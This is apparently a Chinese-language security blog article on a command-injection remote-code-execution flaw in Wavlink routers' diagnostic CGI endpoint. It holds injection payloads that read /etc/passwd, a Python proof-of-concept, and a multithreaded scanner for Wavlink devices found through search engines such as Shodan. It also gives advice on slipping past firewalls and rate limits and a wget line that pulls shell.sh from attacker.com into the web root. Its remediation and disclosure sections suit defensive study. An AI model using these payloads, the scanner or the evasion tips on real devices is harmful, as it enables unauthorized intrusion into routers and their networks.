Wavlink路由器RCE漏洞:从命令注入原理到批量验证实战

Wavlink路由器RCE漏洞:从命令注入原理到批量验证实战
1. 项目概述从一次偶然的发现到批量验证事情源于一次常规的资产测绘。在对一个客户的内网进行安全评估时我们通过扫描发现了一批Wavlink品牌的路由器。起初这并没有引起特别的注意毕竟家用或小型办公路由器存在安全问题是常态。然而当尝试访问其管理界面时一个不寻常的响应引起了我的警觉。这促使我深入挖掘最终定位到了一个存在于其Web管理接口中的远程命令执行漏洞。更关键的是这个漏洞的触发点并非隐藏在复杂的认证之后而是在某些特定功能模块中通过精心构造的HTTP请求即可直接利用。为了验证漏洞的影响范围我编写了一个批量验证脚本。今天我就把这个从发现到验证的完整过程以及其中涉及的技术细节、踩过的坑和实用的批量验证方法系统地分享出来。无论你是安全研究人员、渗透测试工程师还是对路由器安全感兴趣的爱好者这篇文章都将为你提供一个清晰的实操路径。2. 漏洞原理深度解析从参数注入到系统命令执行2.1 漏洞触发点与上下文分析Wavlink路由器的这个RCE漏洞核心问题出在对用户输入的处理不当。其Web管理界面由一系列CGICommon Gateway Interface程序或特定的PHP/ASP脚本构成负责处理来自前端的配置请求。经过逆向分析和动态调试我发现漏洞位于一个负责“系统工具”或“诊断功能”的接口中。该接口本意是允许管理员通过Web界面执行一些简单的网络诊断命令例如ping或traceroute以便排查网络连通性问题。在正常的业务逻辑中前端页面会提供一个输入框让用户填写目标主机Host或IP地址后端脚本我们暂且称其为diagnostic.cgi会接收这个参数然后拼接成系统命令。例如用户输入192.168.1.1后端脚本执行的命令可能是/bin/ping -c 4 192.168.1.1。2.2 命令拼接与过滤缺失的致命组合漏洞产生的根本原因在于后端脚本在拼接命令字符串时没有对用户输入的参数进行有效的过滤和净化。它直接使用了类似system(“/bin/ping -c 4 ” . $_REQUEST[‘host’])的代码逻辑以PHP为例。这里的$_REQUEST[‘host’]就是用户可控的输入。一个安全的实现应该将用户输入视为纯粹的数据而不是命令的一部分。它应该使用白名单验证只允许IP地址或域名格式或者至少对特殊字符如分号;、反引号、管道符|、、$()等进行严格转义。然而在这个漏洞场景中这些防护措施完全缺失。2.3 从参数注入到RCE的利用链攻击者正是利用了这一点。他们不输入合法的IP地址而是输入精心构造的字符串。例如输入192.168.1.1; id后端拼接的命令/bin/ping -c 4 192.168.1.1; id系统执行结果系统会先执行ping命令然后由于分号;的存在会接着执行id命令并将结果返回。这就是一个典型的“命令注入”。通过注入分号、、||或换行符\n等命令分隔符攻击者可以在一次请求中串行执行多条命令。更进一步利用反引号或$()可以进行命令替换将子命令的执行结果作为参数传递给主命令实现更复杂的利用。注意实际利用中分隔符的选择需要根据目标系统的shell环境通常是/bin/sh或/bin/bash和后端脚本拼接命令的具体方式是否使用引号包裹参数进行测试。有时使用|管道符或后台执行符也能达到目的。2.4 漏洞利用的上下文限制与突破最初这个功能可能需要一定的身份认证如登录后台。但经过深入测试我发现存在以下几种可能降低利用门槛的情况未授权访问该诊断接口可能被错误地配置为无需认证即可访问。认证绕过路由器存在默认弱口令如admin/admin或者会话管理存在缺陷导致可以绕过认证。组合漏洞结合之前已知的Wavlink路由器信息泄露漏洞如标题中提到的可下载配置文件攻击者可能先获取到登录凭证再利用此RCE漏洞。在我们的实际案例中属于第一种和第三种情况的组合。这使得漏洞的危害性大大增加从需要认证的中危漏洞演变为可直接远程利用的高危漏洞。3. 手工验证与POC构造一步步重现攻击过程在理解了原理之后我们通过手工复现来确认漏洞的真实存在和可利用性。这是安全研究中最关键的一步可以避免误报并深刻理解利用条件。3.1 环境准备与信息收集首先你需要一个测试目标。请务必在你自己拥有完全控制权的实验环境如虚拟机、废旧路由器中进行测试任何未经授权的测试都是非法的。获取目标在实验网络中部署一台存在漏洞的Wavlink路由器固件。你可以从官网下载历史版本固件并使用QEMU或Firmadyne等工具进行模拟。识别接口使用浏览器访问路由器IP如http://192.168.10.1尝试登录。使用默认密码或从信息泄露漏洞获取的密码。找到“网络工具”、“诊断”或“Ping”相关的功能页面。抓包分析打开Burp Suite或浏览器开发者工具F12 - Network在诊断页面执行一次合法的Ping操作例如对8.8.8.8进行Ping。观察浏览器发送的HTTP请求。3.2 请求分析与参数定位通过抓包你可能会看到一个类似如下的POST请求POST /cgi-bin/diagnostic.cgi HTTP/1.1 Host: 192.168.10.1 Content-Type: application/x-www-form-urlencoded Cookie: SESSION_IDxxxxxx actionpinghost8.8.8.8count4关键参数是host。响应内容通常会包含ping命令的执行结果。3.3 手工注入验证现在我们尝试注入。将host参数的值替换为我们的测试载荷测试命令分隔符将host参数改为8.8.8.8; echo test123。发送请求。观察响应如果响应中除了ping的结果还出现了test123这行文本那么恭喜命令注入成功了。因为echo test123命令被执行并且其输出被包含在了HTTP响应中。测试命令替换尝试host**echo test456**。如果响应中出现test456说明反引号注入也成功。获取系统信息尝试执行host8.8.8.8; uname -a或host8.8.8.8; cat /etc/passwd。如果能看到系统内核信息或用户列表则证实了远程命令执行漏洞的存在并且当前进程可能具有较高权限通常是root。3.4 构造完整的利用POC一个基本的Proof of Concept (POC) 脚本Python示例如下所示。它模拟了浏览器的请求并尝试执行一个简单的命令来验证漏洞。import requests import sys def check_vulnerability(target_ip, commandid): 检查目标Wavlink路由器是否存在命令执行漏洞。 :param target_ip: 路由器IP地址 :param command: 要尝试执行的系统命令 :return: 布尔值表示是否疑似存在漏洞 url fhttp://{target_ip}/cgi-bin/diagnostic.cgi # 注意实际参数名可能需要调整如可能是‘dest_host’‘address’等 payload f8.8.8.8; {command} data { action: ping, host: payload, count: 4 } headers { User-Agent: Mozilla/5.0, Content-Type: application/x-www-form-urlencoded } # 如果目标需要Cookie需要先通过登录或其他方式获取并添加 # headers[Cookie] SESSION_IDxxx try: resp requests.post(url, datadata, headersheaders, timeout10) if resp.status_code 200: # 检查响应中是否包含命令执行的预期输出片段 # 例如如果执行‘id’响应中应包含‘uid0(root)’或‘uid0’等字样 # 这里需要根据实际命令和响应做调整 if uid in resp.text or root in resp.text: print(f[] {target_ip} 可能存在RCE漏洞响应中包含命令输出。) # 打印部分响应以便确认 print(f 响应预览: {resp.text[:500]}...) return True else: # 即使没有明显输出某些命令如‘wget’可能已执行需要其他方式验证 print(f[-] {target_ip} 请求成功但未在响应中检测到明显命令输出。) return False else: print(f[-] {target_ip} 请求失败状态码: {resp.status_code}) return False except requests.exceptions.RequestException as e: print(f[-] {target_ip} 连接错误: {e}) return False if __name__ __main__: if len(sys.argv) ! 2: print(用法: python poc.py 目标IP) sys.exit(1) target sys.argv[1] check_vulnerability(target)实操心得手工验证时ping命令本身会有输出可能会干扰我们对注入命令输出的判断。一个技巧是使用sleep命令。注入host8.8.8.8; sleep 5如果服务器响应时间明显延迟了5秒这同样能证明命令被执行了而且是一种“盲注”不依赖于回显。这在某些不回显命令结果的场景下非常有用。4. 批量验证脚本设计与实现高效评估影响面发现单个漏洞后下一步自然是评估其影响范围。在客户的内网或者通过互联网空间搜索引擎如Shodan, Fofa, ZoomEye可以找到大量使用Wavlink路由器的设备。手动一个个测试是不现实的因此需要一个批量验证脚本。4.1 脚本设计思路一个健壮的批量验证脚本需要具备以下功能目标输入支持从文件读取IP地址列表或接收一个IP段。并发控制为了提高效率必须使用多线程或异步IO进行并发测试。漏洞检测逻辑集成我们上面编写的POC检测函数。结果处理清晰地将结果分类存在漏洞、不存在漏洞、访问超时等并输出到文件。日志与错误处理记录运行过程妥善处理网络超时、连接拒绝等异常。可配置性允许用户自定义检测命令、超时时间、并发数等参数。4.2 核心代码实现解析下面是一个增强版的批量验证脚本框架使用了concurrent.futures线程池来实现并发。import requests import concurrent.futures import sys import time from urllib.parse import urljoin class WavlinkRCEBatchScanner: def __init__(self, threads50, timeout10): self.threads threads self.timeout timeout self.vulnerable_targets [] # 自定义请求头模拟浏览器 self.headers { User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8, Content-Type: application/x-www-form-urlencoded, } # 这里可以添加从登录漏洞获取的Cookie # self.headers[Cookie] def probe_target(self, ip): 探测目标是否开放80/443端口并尝试识别是否为Wavlink try: # 尝试HTTP resp requests.get(fhttp://{ip}, headersself.headers, timeoutself.timeout, allow_redirectsFalse) if resp.status_code 400: # 简单指纹识别通过Title、Server头、特定关键字判断 if Wavlink in resp.text or WL- in resp.text: return ip, http, True except: pass # 可以类似地添加HTTPS探测 return ip, None, False def check_single_target(self, target_info): 对单个目标进行RCE漏洞检测 ip, protocol, is_wavlink target_info if not is_wavlink: return None url f{protocol}://{ip}/cgi-bin/diagnostic.cgi # 使用无害的命令进行验证例如‘echo’一个随机字符串 import random random_str ftest_{random.randint(10000, 99999)} # 构造Payload注意分号后的空格有时很关键 payload f127.0.0.1; echo {random_str} data { action: ping, host: payload, count: 1 } try: resp requests.post(url, datadata, headersself.headers, timeoutself.timeout) if resp.status_code 200 and random_str in resp.text: # 为了进一步确认可以尝试第二个命令如‘whoami’ payload2 f127.0.0.1; whoami data[host] payload2 resp2 requests.post(url, datadata, headersself.headers, timeoutself.timeout) if root in resp2.text: return (ip, protocol, CONFIRMED, resp2.text[:200]) else: return (ip, protocol, LIKELY, resp.text[:200]) except requests.exceptions.RequestException as e: return (ip, protocol, ERROR, str(e)) return None def scan_from_file(self, ip_list_file, output_fileresults.txt): 从文件读取IP列表进行扫描 with open(ip_list_file, r) as f: targets [line.strip() for line in f if line.strip()] print(f[*] 开始对 {len(targets)} 个目标进行指纹识别...) # 第一步并发进行指纹识别 wavlink_targets [] with concurrent.futures.ThreadPoolExecutor(max_workersself.threads) as executor: future_to_ip {executor.submit(self.probe_target, ip): ip for ip in targets} for future in concurrent.futures.as_completed(future_to_ip): ip, proto, is_wl future.result() if is_wl: wavlink_targets.append((ip, proto, is_wl)) print(f[] 发现Wavlink设备: {ip}) print(f[*] 指纹识别完成共发现 {len(wavlink_targets)} 台Wavlink设备。开始漏洞检测...) # 第二步对识别出的设备进行漏洞检测 with concurrent.futures.ThreadPoolExecutor(max_workersself.threads) as executor: future_to_target {executor.submit(self.check_single_target, target): target for target in wavlink_targets} for future in concurrent.futures.as_completed(future_to_target): result future.result() if result: ip, proto, status, info result self.vulnerable_targets.append(result) print(f[!] 漏洞确认: {ip} ({proto}) - 状态: {status}) print(f 附加信息: {info}) # 输出结果到文件 with open(output_file, w) as f: for vuln in self.vulnerable_targets: f.write(f{vuln[0]}\t{vuln[1]}\t{vuln[2]}\t{vuln[3]}\n) print(f[*] 扫描结束。发现 {len(self.vulnerable_targets)} 个潜在漏洞目标。结果已保存至 {output_file}) if __name__ __main__: scanner WavlinkRCEBatchScanner(threads30, timeout15) # 假设IP列表保存在 ips.txt 中每行一个IP scanner.scan_from_file(ips.txt)4.3 脚本使用中的注意事项与优化速率限制大规模扫描时务必控制并发速度和请求频率避免对目标网络造成拒绝服务DoS影响这既是道德要求也可能触犯法律。可以在脚本中添加time.sleep()进行限速。错误处理网络环境复杂必须完善超时、连接重置、SSL错误等异常处理避免因个别目标的问题导致整个线程卡住。指纹识别优化上述脚本的指纹识别非常粗略。更准确的做法是检查特定路径下的静态文件如/images/logo_wavlink.png、JS文件中的关键字、或者HTTP响应头中的Server字段。Payload的通用性不同型号或固件版本的Wavlink路由器其漏洞接口的路径和参数名可能略有不同。一个成熟的批量脚本应该包含一个payloads列表尝试多种常见的路径和参数组合如/cgi-bin/ping.cgi,goform/sysTools等。结果去重与验证对于CONFIRMED已确认的目标可以尝试执行一个无害但具有唯一性的命令如生成一个随机文件然后通过另一个接口如果存在去访问这个文件进行二次验证确保结果绝对准确。5. 漏洞修复与安全加固建议对于Wavlink厂商和路由器用户这个漏洞的修复和防护是至关重要的。5.1 厂商修复方案输入验证与净化白名单验证对于host这类参数严格限制输入格式。只允许输入IP地址IPv4/IPv6或符合特定格式的域名。使用正则表达式进行匹配。命令转义如果必须将用户输入作为系统命令的一部分务必使用安全的函数对输入进行转义。在PHP中可以使用escapeshellarg()函数它会将参数用单引号括起来并转义其中的单引号确保输入始终被当作一个完整的字符串参数。// 错误示例 system(“/bin/ping -c 4 ” . $_POST[‘host’]); // 正确示例 $safe_host escapeshellarg($_POST[‘host’]); system(“/bin/ping -c 4 ” . $safe_host);使用安全的API尽量避免直接调用system()、exec()、passthru()等函数。考虑使用语言内置的、不涉及Shell的库函数来完成特定任务例如用PHP的socket相关函数实现Ping功能。最小权限原则运行Web服务的进程如www-data用户不应该拥有root权限。通过权限分离即使命令注入成功攻击者也只能在低权限用户环境下操作极大地限制了破坏力。代码审计与更新对全部CGI和Web脚本进行安全审计查找同类问题。及时发布安全更新固件并建立有效的漏洞披露与修复响应机制。5.2 用户临时缓解措施如果你的路由器正在使用且无法立即更新固件可以采取以下措施降低风险修改默认密码立即将管理后台的默认密码修改为高强度密码。禁用远程管理在路由器设置中确保“远程管理”或“从外网访问”功能是关闭的。将管理接口的访问限制在局域网LAN内。网络隔离将重要的设备如存储服务器、个人电脑置于路由器的不同虚拟局域网VLAN中或使用防火墙规则限制设备间的访问。关注官方通告密切关注Wavlink官方发布的安全公告一旦有补丁立即更新。5.3 对安全研究者的启示这个案例再次印证了IoT设备特别是家用网络设备是安全的重灾区。厂商往往更注重功能实现和成本控制在安全开发生命周期SDL上投入不足。作为安全研究者我们的工作流程可以归纳为资产发现与指纹识别使用空间测绘引擎或扫描工具定位特定品牌/型号的设备。固件获取与分析从官网或设备本身下载固件使用binwalk等工具解包分析文件系统。静态代码审计重点关注处理用户输入的CGI脚本、二进制程序寻找命令拼接、系统调用等危险函数。动态调试与验证在模拟环境或真机中运行服务使用抓包工具拦截请求动态测试潜在的漏洞点。影响评估与POC编写验证漏洞的严重性并编写可靠的验证脚本。负责任的披露通过适当的渠道将漏洞细节报告给厂商给予合理的修复时间后再公开。6. 常见问题与排查技巧实录在实际的漏洞验证和批量扫描过程中我遇到了不少问题这里记录下典型的案例和解决方法。6.1 问题一POC脚本返回成功但实际未执行命令现象脚本检测到echo的随机字符串出现在响应中但尝试执行wget下载文件或reboot重启时设备没有反应。排查权限问题echo命令几乎所有用户都能执行。但wget可能不存在或者当前Web服务进程用户没有写入文件系统的权限。使用which wget或ls -la /usr/bin/wget检查命令是否存在。环境变量问题CGI进程的环境变量PATH可能非常精简不包含/usr/bin等常见路径。尝试使用命令的绝对路径如/bin/echo、/usr/bin/wget。输出重定向某些命令如后台执行的wget的输出可能没有重定向到HTTP响应流。尝试将输出重定向到Web目录下的一个文件然后通过浏览器访问该文件来确认。例如wget http://attacker.com/shell.sh -O /www/shell.sh 21。解决在POC中使用更基础的命令和绝对路径进行验证例如/bin/cat /etc/passwd。6.2 问题二批量扫描时误报率很高现象扫描报告了大量漏洞但手动验证时发现很多是误报。排查指纹识别不准确仅凭页面包含“Wavlink”字样就判断可能导致将一些使用了相同前端模板的其他品牌设备或仿冒页面误判。需要结合多个特征如特定JS文件哈希、特定接口的响应头等。响应内容巧合我们检测的随机字符串恰好出现在目标网页的正常内容中虽然概率极低。解决方法是使用更复杂、更不可能的随机字符串或者检测命令执行后的特定效果如sleep导致的延时。网络中间件干扰有些网络设备如负载均衡器、WAF可能会拦截异常请求并返回一个自定义的错误页面这个页面可能恰好包含了我们的检测字符串。解决采用多步验证策略。第一步用echo随机字符串快速筛选第二步对筛选出的目标使用sleep命令进行盲注验证测量响应时间第三步尝试执行一个无害但具有唯一性的操作进行最终确认。6.3 问题三针对不同型号漏洞路径或参数名不同现象脚本对A型号有效对B型号无效。排查解包不同型号的固件对比Web目录结构。发现诊断功能的CGI脚本路径可能从/cgi-bin/diagnostic.cgi变为/cgi-bin/admin/ping.cgi参数名可能从host变为dest_host或ipaddr。解决构建一个更全面的“漏洞指纹库”。这不是指设备指纹而是漏洞本身的特征库。可以收集不同固件版本中的相关脚本提取出常见的路径和参数名组合让扫描器依次尝试。6.4 问题四扫描行为被目标设备或网络防火墙拦截现象扫描初期有返回后续请求全部超时或返回403/503。排查目标设备可能内置了简单的基于频率的防御机制或者上联网络部署了IPS/防火墙。解决降低并发度与频率将线程数调低如从50调到10在每个请求之间增加随机延时time.sleep(random.uniform(0.5, 2))。轮换User-Agent在请求头中使用不同的、常见的浏览器User-Agent。分散扫描源如果条件允许从不同的IP地址发起扫描。遵守道德与法律始终在授权范围内进行测试并明确告知客户扫描可能产生的流量和风险。编写批量验证脚本不仅仅是实现功能更是一个不断与真实网络环境博弈、优化检测逻辑、降低误报漏报的过程。每一次失败和误报都是完善脚本、加深对漏洞理解的机会。